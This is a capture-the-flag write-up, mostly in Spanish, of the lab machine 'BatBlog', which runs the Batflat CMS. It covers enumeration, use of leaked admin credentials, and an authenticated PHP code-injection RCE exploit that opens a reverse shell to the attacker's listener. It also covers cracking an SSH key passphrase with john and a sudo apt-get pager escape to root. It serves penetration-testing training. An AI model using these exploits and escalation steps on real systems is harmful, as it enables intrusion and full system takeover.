Table of Contents
CyberWave: BatBlog Writeup
Welcome to my detailed writeup of the easy difficulty machine “BatBlog” on CyberWave. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.10.10.3 --ulimit 5000 -g
210.10.10.3 -> [22,80]
1nmap -p22,80 -sCV 10.10.10.3 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 14:05 CET
3Nmap scan report for 10.10.10.3
4Host is up (0.027s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
8| ssh-hostkey:
9| 2048 b1:a3:c9:61:5a:1a:ca:40:51:db:9e:12:d3:e7:78:88 (RSA)
10| 256 74:8f:e3:ea:80:2c:18:fd:a2:9a:fc:f0:80:31:de:02 (ECDSA)
11|_ 256 83:93:7a:c5:68:2d:93:3e:16:10:0b:24:92:21:79:b1 (ED25519)
1280/tcp open http Apache httpd 2.4.38 ((Debian))
13|_http-title: Blog | batblog.bsh
14|_http-server-header: Apache/2.4.38 (Debian)
15|_http-generator: Batflat
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 8.88 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.10.10.3 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 14:06 CET
3Nmap scan report for 10.10.10.3
4Host is up (0.028s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
71055/udp closed ansyslmd
817888/udp closed unknown
918958/udp closed unknown
1019315/udp closed keyshadow
1121261/udp closed unknown
1226431/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
En el escaneo inicial vemos el dominio batblog.bsh
, lo añadimos al /etc/hosts
HTTP Enumeration
Finding CMS version
Solo vemos dos puertos expuestos, un servicio HTTP y el SSH, dado que el SSH del servidor no es vulnerable, el vector de ataque de esta máquina será por “vía web”
whatweb
no nos revela nada interesante acerca del sitio web.
1whatweb http://batblog.bsh
2http://batblog.bsh [200 OK] Apache[2.4.38], Bootstrap, Cookies[bat], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.10.10.3], JQuery[2.2.4], Lightbox, MetaGenerator[Batflat], Script, Title[Blog | batblog.bsh], UncommonHeaders[x-created-by], X-UA-Compatible[IE=edge]
Así se ve el sitio web.
Wappalyzzer
nos muestra que se está utilizando SQLite
por detrás, un tanto extraño que el plugin sea capaz de reportar esto, y también nos muestra que el lenguaje del servidor es PHP.
Viendo el código HTML, podemos sacar dos conclusiones. Que detrás hay un CMS y que batblog
es el nombre del tema que se está usando, por lo cual, nos podría llevar a descubrir el CMS en uso.
Una simple búsqueda en Google nos demuestra que el CMS en uso es batflat
Aunque realmente en la página principal podemos deducir que este es el CMS.
El panel de autenticación se encuentra bajo el recurso /admin
, interesante.
Descubrimos que existe una versión vulnerable de este CMS, que si tuviéramos credenciales de acceso podríamos conseguir ejecución remota de comandos.
Y viendo el código HTML también podemos comprobar que esta es la versión actual del servidor.
Gaining access to the admin dashboard
En este punto solo me quedaba hacer fuerza bruta o fuzzear para buscar directorios o recursos ocultos, cosa que en CMS no suele ser común pero bueno.
Podemos probar a fuzzear con feroxbuster
y encontramos un recurso /secret
bastante interesante.
1feroxbuster -u http://batblog.bsh -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -C 404
2.......
3301 GET 9l 28w 308c http://batblog.bsh/inc => http://batblog.bsh/inc/
4200 GET 0l 0w 0c http://batblog.bsh/454
5200 GET 0l 0w 0c http://batblog.bsh/553
6301 GET 9l 28w 308c http://batblog.bsh/tmp => http://batblog.bsh/tmp/
7200 GET 0l 0w 0c http://batblog.bsh/baby
8200 GET 0l 0w 0c http://batblog.bsh/922
9200 GET 0l 0w 0c http://batblog.bsh/advantage
10200 GET 0l 0w 0c http://batblog.bsh/streaming
11200 GET 0l 0w 0c http://batblog.bsh/forBusinessPartners
12200 GET 0l 0w 0c http://batblog.bsh/ranks
13200 GET 0l 0w 0c http://batblog.bsh/729
14200 GET 0l 0w 0c http://batblog.bsh/hpc
15403 GET 9l 28w 276c http://batblog.bsh/tmp/switcher.html
16200 GET 1l 4w 39c http://batblog.bsh/ticket
17200 GET 139l 364w 5147c http://batblog.bsh/secret
Accediendo a este recurso, vemos una nota que nos indica que la contraseña del administrador nueva es 4dm1n
, por lo cual podemos deducir que el nombre de usuario es admin
Si probamos estas credenciales, podemos iniciar sesión fácilmente.
Remote Command Execution -> Foothold
Stored XSS + Code Injection
Ahora vamos a probar este PoC, nos lo guardamos en un archivo llamado pwn.py
para ver si efectivamente conseguimos ejecución remota de comandos.
Si nos ponemos escucha con pwncat-cs
por el puerto 443.
1sudo ./pwncat-cs -lp 443
Y lanzamos el exploit.
1python3 pwn.py http://batblog.bsh/ admin 4dm1n 10.0.0.2 443
2###########################################################
3####### Batflat authenticated RCE by mari0x00 #######
4###########################################################
5
6[+] Attempting user login
7[+] Retrieving the token
8[+] Token ID: 5a9f40a6fe8e
9[+] Getting the add-user endpoint URL
10[+] Adding pwnd user
11
12[+] Triggering the shell. Go nuts!
Vemos que nos llega una conexión y efectivamente, ganamos acceso a la máquina víctima.
1[14:29:15] received connection from 10.10.10.3:44080 bind.py:84
2[14:29:26] 10.10.10.3:44080: registered new host w/ db manager.py:957
3(local) pwncat$
4(remote) www-data@batblog:/var/www/html/batflat/admin$ whoami
5www-data
Ahora bien, no somos unos lammers y queremos saber porque pasa esto, nada es magia.
Para ello podemos analizar el código y ver las peticiones que ocurren por detrás.
Vamos a modificar nuestro pwn.py
creando un objeto proxies
para asignar a nuestro burpsuite
que está en escucha por el puerto 8080.
1proxies = {
2 'http': 'http://127.0.0.1:8080',
3 'https': 'http://127.0.0.1:8080'
4}
Ahora, como el creador del PoC decidió utilizar sesiones, es muy fácil asignar estos proxies, simplemente los asignamos al atributo proxies
del objeto de la sesión.
1s.proxies = proxies
Así debería de quedar.
Y ya simplemente si ejecutamos nuestro pwn.py
podemos ver que interceptamos la solicitud con burpsuite
Primero, lo que hace el exploit es iniciar sesión y conseguir el token del usuario para poder continuar con la fase de explotación.
Y la fase crítica es la siguiente, se hace una solicitud de tipo POST
a /admin/users/save?t=TOKEN
, donde al nombre completo se le pasa un payload en PHP.
Y para terminar, se intenta editar el usuario que hemos creado, por alguna razón este código PHP es interpretado y ejecutado en el servidor.
Podemos nosotros mismos dirigirnos al panel de usuarios, y vemos que el apartado fullname
del usuario creado por el exploit sale en blanco. Aquí es donde hemos insertado nuestro código PHP.
Investigando un poco sobre esta vulnerabilidad. En la página oficial de batflat podemos ver que la última versión lanzada es la 1.3.6
, la versión vulnerable.
El responsable de esta vulnerabilidad es este archivo de aquí
Podemos ver el apartado de código vulnerable, o mejor dicho, uno de ellos, es el siguiente.
1public function postSave($id = null)
2 {
3 $errors = 0;
4 $formData = htmlspecialchars_array($_POST);
5
6 // location to redirect
7 $location = $id ? url([ADMIN, 'users', 'edit', $id]) : url([ADMIN, 'users', 'add']);
8
9 // admin
10 if ($id == 1) {
11 $formData['access'] = ['all'];
12 }
13
14 // check if required fields are empty
15 if (checkEmptyFields(['username', 'email', 'access'], $formData)) {
16 $this->notify('failure', $this->lang('empty_inputs', 'general'));
17 redirect($location, $formData);
18 }
19
20 // check if user already exists
21 if ($this->_userAlreadyExists($id)) {
22 $errors++;
23 $this->notify('failure', $this->lang('user_already_exists'));
24 }
25
26 // check if e-mail adress is correct
27 $formData['email'] = filter_var($formData['email'], FILTER_SANITIZE_EMAIL);
28 if (!filter_var($formData['email'], FILTER_VALIDATE_EMAIL)) {
29 $errors++;
30 $this->notify('failure', $this->lang('wrong_email'));
31 }
32
33 // check if password is longer than 5 characters
34 if (isset($formData['password']) && strlen($formData['password']) < 5) {
35 $errors++;
36 $this->notify('failure', $this->lang('too_short_pswd'));
37 }
38
39 // access to modules
40 if ((count($formData['access']) == count($this->_getModules())) || ($id == 1)) {
41 $formData['access'] = 'all';
42 } else {
43 $formData['access'][] = 'dashboard';
44 $formData['access'] = implode(',', $formData['access']);
45 }
46
47 // CREATE / EDIT
48 if (!$errors) {
49 unset($formData['save']);
50
51 if (!empty($formData['password'])) {
52 $formData['password'] = password_hash($formData['password'], PASSWORD_BCRYPT);
53 }
54
55 // user avatar
56 if (($photo = isset_or($_FILES['photo']['tmp_name'], false)) || !$id) {
57 $img = new \Inc\Core\Lib\Image;
58
59 if (empty($photo) && !$id) {
60 $photo = MODULES.'/users/img/default.png';
61 }
62 if ($img->load($photo)) {
63 if ($img->getInfos('width') < $img->getInfos('height')) {
64 $img->crop(0, 0, $img->getInfos('width'), $img->getInfos('width'));
65 } else {
66 $img->crop(0, 0, $img->getInfos('height'), $img->getInfos('height'));
67 }
68
69 if ($img->getInfos('width') > 512) {
70 $img->resize(512, 512);
71 }
72
73 if ($id) {
74 $user = $this->db('users')->oneArray($id);
75 }
76
77 $formData['avatar'] = uniqid('avatar').".".$img->getInfos('type');
78 }
79 }
80
81 if (!$id) { // new
82 $query = $this->db('users')->save($formData);
83 } else { // edit
84 $query = $this->db('users')->where('id', $id)->save($formData);
85 }
86
87 if ($query) {
88 if (isset($img) && $img->getInfos('width')) {
89 if (isset($user)) {
90 unlink(UPLOADS."/users/".$user['avatar']);
91 }
92
93 $img->save(UPLOADS."/users/".$formData['avatar']);
94 }
95
96 $this->notify('success', $this->lang('save_success'));
97 } else {
98 $this->notify('failure', $this->lang('save_failure'));
99 }
100
101 redirect($location);
102 }
103
104 redirect($location, $formData);
105 }
Este método es responsable de:
- Validar y limpiar los datos del formulario.
- Gestionar la lógica de creación y edición de usuarios.
- Procesar avatares de usuario.
- Guardar datos en la base de datos.
- Manejar redirecciones y notificaciones al usuario.
Pero a la hora de validar los datos, no filtra por caracteres especiales, por lo cual podemos crear un usuario con, por ejemplo, un código PHP.
No debería de pasar nada al mostrar el usuario realmente, si la aplicación está bien construida no debería de existir una vulnerabilidad, pero siguiendo la pista nos encontramos la función getManage()
, responsable de mostrar los usuarios de la base de datos.
1public function getManage()
2 {
3 $rows = $this->db('users')->toArray();
4
5 foreach ($rows as &$row) {
6 if (empty($row['fullname'])) {
7 $row['fullname'] = '----';
8 }
9
10 $row['editURL'] = url([ADMIN, 'users', 'edit', $row['id']]);
11 $row['delURL'] = url([ADMIN, 'users', 'delete', $row['id']]);
12 }
13
14 return $this->draw('manage.html', ['myId' => $this->core->getUserInfo('id'), 'users' => $rows]);
15 }
Esto nos lleva a manage.php que simplemente lo que hace es mostrar el valor de los campos de la base de datos de una forma que interpreta el código de PHP por lo cual, es ejecutado en el servidor. Esta plantilla no utiliza mecanismos seguros para evitar la interpretación de datos como código ejecutable en el servidor, por lo cual resulta en la vulnerabilidad que hemos explotado.
1<tbody>
2 {loop: $users}
3 <tr>
4 <td><a href="{$value.editURL}">{$value.username}</a></td>
5 <td>{$value.fullname}</td>
6 <td>{$value.email}</td>
7 <td class="text-right">
8 <a href="{$value.editURL}" class="btn btn-xs btn-success">
9 <i class="fa fa-pencil"></i> <span class="hidden-xs">{$lang.general.edit}</span>
10 </a>
11 <a href="{$value.delURL}" class="btn btn-xs btn-danger {if: $value.id==1 || $value.id==$myId}disabled{/if}" data-confirm="{$lang.users.delete_confirm}">
12 <i class="fa fa-trash-o"></i> <span class="hidden-xs">{$lang.general.delete}</span>
13 </a>
14 </td>
15 </tr>
16 {/loop}
17 </tbody>
Privilege Escalation
User Pivoting
Information Disclosure + SSH Private Key Cracking
No encontramos la flag y ademas vemos que existe otro usuario aparte de root
en el sistema, este usuario se llama badmin
1(remote) www-data@batblog:/$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3badmin:x:1000:1000:badmin,,,:/home/badmin:/bin/bash
Eso me hace pensar que tenemos que migrar a este usuario para conseguir la flag de usuario y ya de ahí escalar privilegios.
Podemos buscar archivos que pertenezcan a este usuario y encontramos uno que me llama mucho la atención, id_rsa
dentro del directorio donde está la aplicación web, este archivo no debería de estar ahí.
1(remote) www-data@batblog:/tmp$ find / -type f -user badmin 2>/dev/null | grep -v proc | grep -v cgroup
2/home/badmin/.wget-hsts
3/home/badmin/.bashrc
4/home/badmin/.bash_logout
5/home/badmin/.profile
6/home/badmin/.bash_history
7/var/www/html/batflat/admin/tmp/id_rsa
Podemos descargar esta clave privada y echarla un vistazo en nuestra máquina, vamos a hacer uso de la función download
de pwncat-cs
1(local) pwncat$ download /var/www/html/batflat/admin/tmp/id_rsa
2/var/www/html/batflat/admin/tmp/id_rsa ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 1.9/1.9 KB • ? • 0:00:00
3[16:37:32] downloaded 1.88KiB in 0.16 seconds
Una cosa que podemos hacer pasa saber a quien pertenece esta clave privada realmente es derivar la clave pública de esta clave privada, pero vemos que está protegida con una passphrase por lo cual no podemos.
1ssh-keygen -y -f id_rsa > id_rsa.pub
2Enter passphrase:
Podemos usar ssh2john
para extraer el hash de esta passphrase e intentar crackearlo.
1ssh2john id_rsa > hash
Ahora con john
podemos crackear esta passphrase.
1john -w=/usr/share/wordlists/rockyou.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
4Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
5Cost 2 (iteration count) is 16 for all loaded hashes
6Will run 4 OpenMP threads
7Press 'q' or Ctrl-C to abort, almost any other key for status
8pa55w0rd (id_rsa)
91g 0:00:03:30 DONE (2024-11-21 16:29) 0.004740g/s 35.79p/s 35.79c/s 35.79C/s 12346..europa
10Use the "--show" option to display all of the cracked passwords reliably
11Session completed.
Entonces ahora si que podemos derivar la clave pública y vemos que pertenece al usuario badmin
1➜ content ssh-keygen -y -f id_rsa > id_rsa.pub
2Enter passphrase:
3➜ content cat id_rsa.pub
4───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────
5 │ File: id_rsa.pub
6───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────
7 1 │ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtTpfujL+ACKR1sjRqTxxxTbahhuY7PfyH3ndLVsziJnLZVFsMJvXThdzMba2QIRXEzu
8 │ ojTUkpIbxzl6ayjSIs8pNvxwakJeN1F8r9KjORu9FmFDKp7vdvR2dMY4ct1qGUwBU9lnfdcaW3iTNtW6ymZsB7Qwqy8hZgvokubnUNU+7f
9 │ loSSTXNNBvbnmTyHgdVunuaFc/dXBaXYCJEaxeUXQd252XMk9PGSapF8kKSnqQU/ZWwc4h69dXkaygu+rhIXppS+TtAgUSSKA6ASTwnajw
10 │ JHkW6sBR53mceqcpKRwAmZdKvbrw0TcdrlhuLdcQEN/5lU0RQkWWGXlY7FR4fp badmin@batblog
11───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora podemos iniciar sesión como badmin
utilizando su clave privada y la passphrase.
1ssh badmin@batblog.bsh -i id_rsa
2Enter passphrase for key 'id_rsa':
3Linux batblog 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64
4
5The programs included with the Debian GNU/Linux system are free software;
6the exact distribution terms for each program are described in the
7individual files in /usr/share/doc/*/copyright.
8
9Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10permitted by applicable law.
11Last login: Tue May 7 15:05:25 2024 from 10.0.0.2
12badmin@batblog:~$ id
13uid=1000(badmin) gid=1000(badmin) groups=1000(badmin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Podemos leer la flag de usuario.
1badmin@batblog:~$ cat user.txt
24cba7d3b85f362f1d...
Pivoting to root
Podemos ver que podemos ejecutar el binario apt-get
como root
sin necesidad de proporcionar contraseña.
1badmin@batblog:~$ sudo -l
2
3sudo: unable to resolve host batblog: Temporary failure in name resolution
4Matching Defaults entries for badmin on batblog:
5 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
6
7User badmin may run the following commands on batblog:
8 (root) NOPASSWD: /bin/apt-get
Una simple búsqueda en GTFOBins nos revela como escalar privilegios en nuestro caso.
Podemos abusar de que apt-get
invoca el pager
por defecto (less
), y gracias a esta funcionalidad del binario podemos llegar a ejecutar el comando que queramos.
Ejecutamos lo que nos indica GTFOBins y esperamos un rato hasta que cargue la lista de cambios.
1badmin@batblog:~$ sudo apt-get changelog apt
Una vez hecho eso, simplemente introducimos !/bin/bash
y se nos lanzará una consola como root
que es el usuario con el cual estamos ejecutando el apt-get
1badmin@batblog:~$ sudo apt-get changelog apt
2sudo: unable to resolve host batblog: Temporary failure in name resolution
3Get:1 store: apt 1.8.2.3 Changelog
4Fetched 459 kB in 0s (0 B/s)
5WARNING: terminal is not fully functional
6/tmp/apt-changelog-GF6tWs/apt.changelog (press RETURN)
7!/bin/bash
8root@batblog:/home/badmin# id
9uid=0(root) gid=0(root) groups=0(root)
Podemos leer la flag de root
1root@batblog:~# cat root.txt
2fb99ec67e2af74a33...
¡Y ya estaría!
Happy Hacking! 🚀
#CyberWave #BatBlog #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Stored XSS #XSS #Cross Site Scripting #Code Injection #CVE-2020-35734 #Code Analysis #Information Disclosure #Hash Cracking #Abusing Sudo Privilege #Abusing Sudo #Abusing Apt-Get